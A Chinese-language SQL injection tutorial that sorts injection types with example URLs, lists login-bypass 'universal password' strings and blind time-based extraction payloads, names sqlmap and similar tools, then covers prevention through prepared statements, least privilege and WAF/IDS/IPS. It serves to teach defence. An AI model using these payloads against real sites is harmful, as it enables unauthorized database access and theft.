SQL注入漏洞安全
# SQL注入漏洞分类
数字型
http://www.study.com/news?id=2 or 1=1-- -
字符型
http://www.study.com/news?code=zxkc' or 1=1-- -
布尔型
## 类似于如下格式,实质是数字或者字符串
http://www.study.com/news?flag=true
http://www.study.com/news?flag=0
2
3
时间型
## 类似于如下格式,实质是字符串
http://www.study.com/news?createtime=2019-12-11' or 1=1-- -
2
搜索型
## 类似于如下格式,实质是字符串
http://www.study.com/search?key=test%') or 1=1-- -
##对应sql可能为
select * from xxx where (type=1 and key like '%key%') or (type=2 and key
like '%key%') order by id desc;
2
3
4
5
根据页面是否显示对应内容划分
- 有回显: 正常展示在页面中或直接暴露错误日志
- 无回显: 页面无明显变化,且不暴露错误日志,统一返回错误信息如:系统繁忙
无回显类型可以加大攻击者的攻击难度,但也只是时间问题
# SQL注入常用攻击方式
- 手工注入: 万能密码
admin'or 1=1 limit 0,1 -- -admin'or1=1--- - 工具注入: sqlmap、穿山甲、啊D注入、Burp Suite等等
sqlmap
提示
sqlmap是一个自动化的sql注入渗透工具,指纹检测、注入方式、注入成功后的取数据等等都是自动化的,甚至还提供了一个字典来将取回来的hash爆破,sqlmap是基于python开发的,因此具有跨平台的特性。
官网:http://sqlmap.org
运行环境需需要有python支持,注意python版本选择。
Pangolin(穿山甲)
提示
Pangolin是一款帮助渗透测试人员进行Sql注入测试的安全工具。
所谓的SQL注入测试就是通过利用目标网站的某个页面缺少对用户传递参数控制或者控制的不够好的情况下出现的漏洞,从而达到获取、修改、删除数据,甚至控制数据库服务器、Web服务器的目的的测试方法。
Pangolin能够通过一系列非常简单的操作,达到最大化的攻击测试效果。它从检测注入开始到最后控制目标系统都给出了测试步骤。官方已经不再维护。
啊D注入
提示
啊d注入工具是一款非常好用的sql漏洞测试软件。啊d注入工具采用先进多路程技术,可以瞬间扫
描所有指定注入点,而且软件操作很简单用户不需要经过专门训练就可以快速掌握,帮助用户及时
修复sql漏洞保障网站安全运行。
Burp Suite
提示
可以对存在SQL注入漏洞的url地址进行爆破访问,从而完成拖库,需要结合其他方式构造sql语句。
# 目标检测
数字型。测试方法:
http://host/xxx?id=100and 1=1//返回成功http://host/xxx.php?id=100and 1=2//返回失败字符型。测试方法:
http://host/xxx?name=rainman‘ and ‘1’=‘1//返回成功http://host/xxxname=rainman‘and‘1’=‘2//返回失败
http://host/xxx?name=rainman‘ and ‘1’=‘2 ))//使用括号进行语句闭合搜索型。搜索型注入:简单的判断搜索型注入漏洞存在不存在的办法是:
- 先搜索('),如果出错,说明90%存在这个漏洞。
- 然后搜索(%),如果正常返回,说明95%有洞了。
- 然后再搜索一个关键字,比如(2006)吧,正常返回所有2006相关的信息。
- 再搜索(2006%'and 1=1and '%'=')和(2006%'and 1=2 and '%'=')。
绕过验证(常见的为管理登陆)也称万能密码
- 用户名输入:‘or 1=1 or’密码:任意
- Admin’ -- (或’or 1=1 or’ --)(admin or 1=1 --) (直接输入户名,不进行密码验证)
- 用户名输入:admin密码输入:’ or ‘1’=‘1也可以
- 用户名输入:admin' or 'a'='a 密码输入:任意
- 用户名输入:’ or 1=1 --
- 用户名输入:admin’ or 1=1 --密码输入:任意
- 用户名输入:1'or'1'='1'or'1'='1密码输入:任意
不同的SQL服务器连结字符串的语法不同,比如MS SQL Server使用符号+来连结字符串,而Oracle使用符号||来连结:
http://host/test.jsp?ProdName=Book’//返回错误
http://host/test.jsp?ProdName=B’+’ook//返回正常
http://host/test.jsp?ProdName=B’||’ook//返回正常说明有SQL注入如果应用程序已经过滤了’和+等特殊字符,我们仍然可以在输入时过把字符转换成URL编码(即字符ASCII码的16进制)来绕过检查。
# 常用sql命令(mysql为例)
- @@version、database()
- limit
- union
- concat、group_concat
- group by、floor、rand
- length()函数返回字符串的长度
http://www.study.com/xxx?id=1'and(length(database()))>10
当前数据库database()的长度大于10,返回true页面,否则FALSE页面 - substr()截取字符串
- ascii()返回字符的ascii码
- if(expr1,expr2,expr3)
判断语句如果第一个语句正确就执行第二个语句如果错误执行第三个语句 - sleep(n):将程序挂起一段时间n为n秒
- 暴力猜解
通过页面沉睡时间判断,通过sleep()函数测试,通过if()和sleep()联合逐个猜解数据http://www.study.com/xxx?id=1'and<br />(if(ascii(substr(database(),1,1))>100,sleep(10),sleep(4))---
如果当前查询的当前数据库ascii(substr(database()),1,1)的第一个字符的ASCII码大于
100,true沉睡10秒,false沉睡4秒 - load_file()、into outfile 文件读写
目前MySQL数据库默认不开启文件读写功能。 - 十六进制转换 http://www.bejson.com/convert/ox2 (opens new window)
# SQL注入漏洞的预防策略
由于攻击的泛滥,尽管人们防护SQL注入的安全意识已大为提升,但仍然有众多的人缺乏系统、具体的防护概念。下面将简要介绍如何以一种综合的方法来正确防护SQL注入。
理想的解决思路是在Web应用生命周期的开发、测试、产品化各个阶段进行相应的防范。
# 开发阶段
在编码阶段需要对输入进行细致的验证过滤,使用预编译查询。且遵循“最小权限准则”,即只赋予应用程序完成其功能的最基本权限。
- 过滤用户输入参数;
- 不要使用root权限访问数据库;
- 为数据表设定限制的可读/可写权限;
- 使用预编译占位符绑定变量;
- 谨慎控制数据库对物理文件的读写权限;
- 谨慎设置堆查询开关(allowMultiQueries=true);
datasource:
url: jdbc:mysql://172.17.0.139:33306/bbs?useUnicode=true&characterEncoding=UTF-8&
useSSL=true&serverTimezone=Asia/Shanghai&allowMultiQueries=true
username: root
password: 123456
driver-class-name: com.mysql.jdbc.Driver
2
3
4
5
6
# 测试阶段
在测试阶段可以采用以下两种方式确保Web应用程序代码的安全性:
- 第一,采用源代码审核方式,从编程者角度审视代码是否存在漏洞;
- 第二,执行渗透测试,借助各种SQL注入漏洞检测工具,从攻击者角度检查代码的安全性。
需要注意的是,完成以上两步并不能确保100%的安全。
# 产品化阶段
在产品化阶段,Web应用程序已经上线使用,并对外提供服务,但还是可能会发现Web应用存在安全隐患,此时整改代码对某些系统来说可能已经不现实,因为需要付出较大代价。
这时可以部署专用的Web应用防火墙或者WEB入侵防御系统,可以在发生损害之前阻止攻击,大幅提升Web应用的安全等级。
- 【软件】WAF(Web应用防护系统、Web应用防火墙Web Application Firewall)
通常的防火墙主要工作第二到第四层,重心是在网络层,用于过滤IP和协议类型。
Web应用防火墙工作在网络第七层处理HTTP服务,通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。 - 【硬件】IDS (Intrusion Detection System)入侵检测系统
依照一定的安全策略,通过软件、硬件、对网络、系统的运行状况进行监视尽可能的发现各种攻击企图、攻击行为或者攻击结果,以保证网络系统资源的机密性、完整性和可用性。
入侵检测检测可分为实时入侵检测和事后入侵检测。
对那些异常的、可能是入侵行为的数据进行检测和报警,告知使用者网络中的实时状况,并提供相应的解决、处理方法,是一种侧重于风险管理的安全产品。 - 【硬件】IPS (Intrusion Prevention System)入侵预防系统
IPS是对防病毒软件和防火墙的补充,入侵预防系统是一部能够监视网络或网络设备的网络资料传输行为的计算机网络安全设备,能够即时的中断、调整或隔离一些不正常或是具有伤害性的网络资料传输行为。
对那些被明确判断为攻击行为,会对网络、数据造成危害的恶意行为进行检测和防御,降低或是减免使用者对异常状况的处理资源开销,是一种侧重于风险控制的安全产品。
客户在内网入口部署IPS设备进行入侵检测后,当外网流量请求访问内网服务器时,IPS设备会对流量进行深度识别检查,如流量中包含SQL注入特征,则判定该流量是SQL注入的恶意流量,设备会阻断该流量并进行日志记录;如未检测到攻击特征则判定该流量为正常流量,设备会放行该流量,允许其访问内网服务器。
IDS和IPS的关系,并非取代和互斥,而是相互协作:没有部署IDS的时候,只能是凭感觉判断,应该在什么地方部署什么样的安全产品,通过IDS的广泛部署,了解了网络的当前实时状况,据此状况可进一步判断应该在何处部署何类安全产品(IPS等)